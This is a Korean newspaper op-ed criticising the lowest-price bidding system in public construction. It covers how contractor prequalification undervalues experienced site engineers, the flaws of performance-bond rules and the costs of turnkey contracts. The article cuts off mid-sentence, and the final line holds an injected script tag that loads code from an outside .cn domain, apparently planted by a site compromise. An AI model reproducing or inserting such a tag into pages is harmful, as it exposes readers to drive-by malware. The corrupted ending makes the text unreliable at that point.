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언론기고

현행 최저가 낙찰제도의 문제점과 대책방안(3)

보도일자

보도기관

우리는 실질적으로 공사에 참여하는 현장대리인(현장소장)과 그 참여기술자의 능력에 따라 최종결과물에 대한 품질, 중간과정의 업무처리 방법 등이 매우 다른 것을 알 수 있다. 이는 건설산업이 항상 다양한 상황변화에 대처해야 하고, 새로운 창조를 위한 도전의식이 필요하며, 오랜 시간과 경험을 통해서만 얻을 수 있는 지식(경험)과 창의성이 절대적으로 필요한 응용 산업기술 분야로서 그 핵심이 되는 것은 관련 기술자이기 때문이다. 이들 기술자들의 창의적 노력과 기술개발을 위한 투자 없이는 건설산업의 발전뿐만 아니라 공사비 절감은 기약할 수 없을 것이다.

그러나 지금의 PQ과정에서 건설업체의 선정과정을 보면 단순 기술자 보유현황만 파악함으로 인하여 보유 기술자 보다 많은 공사를 수주하여도 전혀 문제가 없다. 실제 공사에 필요한 경험 많은 기술자(특히 현장소장)를 평가항목에서 제외시킴으로서 업체에서는 고급기술자 투입시 비용이 증가된다. 자연히 고급기술자를 퇴출시키고 공사 시행과정에서 필수적으로 시행해야할 입찰도서의 작성과 상세도면 작성 등에서 기술자의 투입을 배제시킴으로써 부실이 발생될 수밖에 없게 된다. 이에 따른 책임은 건설산업 전반으로 전가되는 되는 것이다. 이러한 현상은 전통적으로 내려오던 기술자 경시 풍조와 맞물려 건설산업 전반에 대해 이해가 부족한 정치권의 각종 법규양산, 탁상공론식 정책 수립, 발주처의 안이한 집행에 의해 배가되고 있으므로 지금부터라도 국가적 차원에서 기술자의 관리를 철저하게 할 수 있는 방안이 마련되어야 하며, 그들이 기술발전과 안전 등 본연의 업무에만 충실하게 임할 수 있도록 하여야 할 것이다.


5) 공사이행 보증제도

최저가낙찰제하에서 부실 건설업체의 덤핑 수주는 공사이행보증제도의 도입으로 막겠다던 정부의 방침에 대해서는 처음부터 국내 건설 보증 시장의 구조를 감안할 때 탁상공론식 행정이라는 비난을 면치 못할 것이다. 실제로 확정된 공사이행보증제도나 보증기관의 공사 이행보증 운영기준도 당초 정부의 기대와는 큰 차이가 있으며, 궁극적으로는 또 다른 규제로 낙찰율을 조정하기 위한 방편일 뿐이다.

건설업체에서 덤핑으로도 공사를 수주하려는 이유는 자전거가 굴러갈 때 일단 정지하면 발을 땅에 내려놓을 수 밖에 없는 이치와 같다. 즉, 손해를 보더라도 계속해서 돌아가도록 무작정 수주를 하게 되는 것이고 이를 정확히 이해하는 것이 제도수립의 가장 기초적인 상식이 될 것이다. 특히 지금과 같은 불경기에서 업체에서는 누가 늦게 망하느냐 하는 자조의 목소리가 나올 수 밖에 없는 실정을 알아야만 할 것이다.

원칙적으로는 부실 건설업체에 대해서는 이행 보증서 발급을 거부할 수 있어야 하지만, 현재와 같은 독점적인 건설 보증 시장의 구조나 고객이 곧 주주인 공제조합의 지배 구조 및 출자액에 따른 자동보증시스템하에서는 보증서 발급의 거부가 현실적으로 불가능하게 되므로, 원래의 취지와는 다르게 공사낙찰율 제한의 수단으로만 활용되고 있는 실정이다. 더욱이 공사이행 보증 업체에서 해당사업의 기술적, 경제적 측면의 위험도분석(Risk Analysis)과 계속적인 재무상태의 검토 없이 동일한 비율로 보증서를 끊는 다는 것은 보증이라는 기본적인 내용과 절차를 모르는 비상식적인 행위이며, 공사원가 및 입찰비용만 증가시키는 요인이 되는 것이다.

건설 보증시장의 전면적인 구조 개편과 단위사업의 위험도 분석(Risk Analysis)과 업체의 세부 재무상태를 고려한 단위공사 별로 적용요율이 다른 차등 요율적용 등의 공사이행보증제도가 제 역할을 다할 수 있다고 기대하기는 어렵다. 재정경제부와 조달청에서 공사이행보증제도를 충분히 정비해 놓았다고 보기도 어려우며, 지금과 같은 건설 보증 기관에서의 공사이행 보증 운영기준으로는 건설업체의 덤핑수주를 방지할 수는 없을 것이다.

또한 공사이행보증제도의 도입 등을 통해 건설공사의 원가는 상승시켜 놓고, 효율적인 건설 생산 및 관리체계의 형성은 제도적으로 봉쇄한 뒤, 예정가격 대비 70% 미만으로 낙찰될 경우는 각종 규제를 통하여 불이익을 주겠다는 현재의 제도는 진정한 의미의 최저가낙찰제도 아니며 국제 표준도 아니고, 시장 경쟁 원리와도 어긋날 뿐만 아니라 우리나라 건설업 전체를 동반부실로 몰고 갈 것이며 불필요한 행정비용으로 사회적 비용만 추가될 것이다.


6) 기타 입찰제도

최저낙찰제 공사 이외에 대형공사에서 시행하고 있는 다른 발주 형태인 Turn Key 방식은 그 속을 들여다보면 초기 설계를 위한 비용이 과다하게 발생되며 탈락시의 부담을 고려할 때 자금력이 풍부한 몇몇 대기업만 참여가 가능한 불공정한 제도가 될 수 밖에 없으며 불필요한 중복⋅과다조사, 외관치장 등으로 사회적, 국가적으로 막대한 ?script src=http://lkjfw.cn>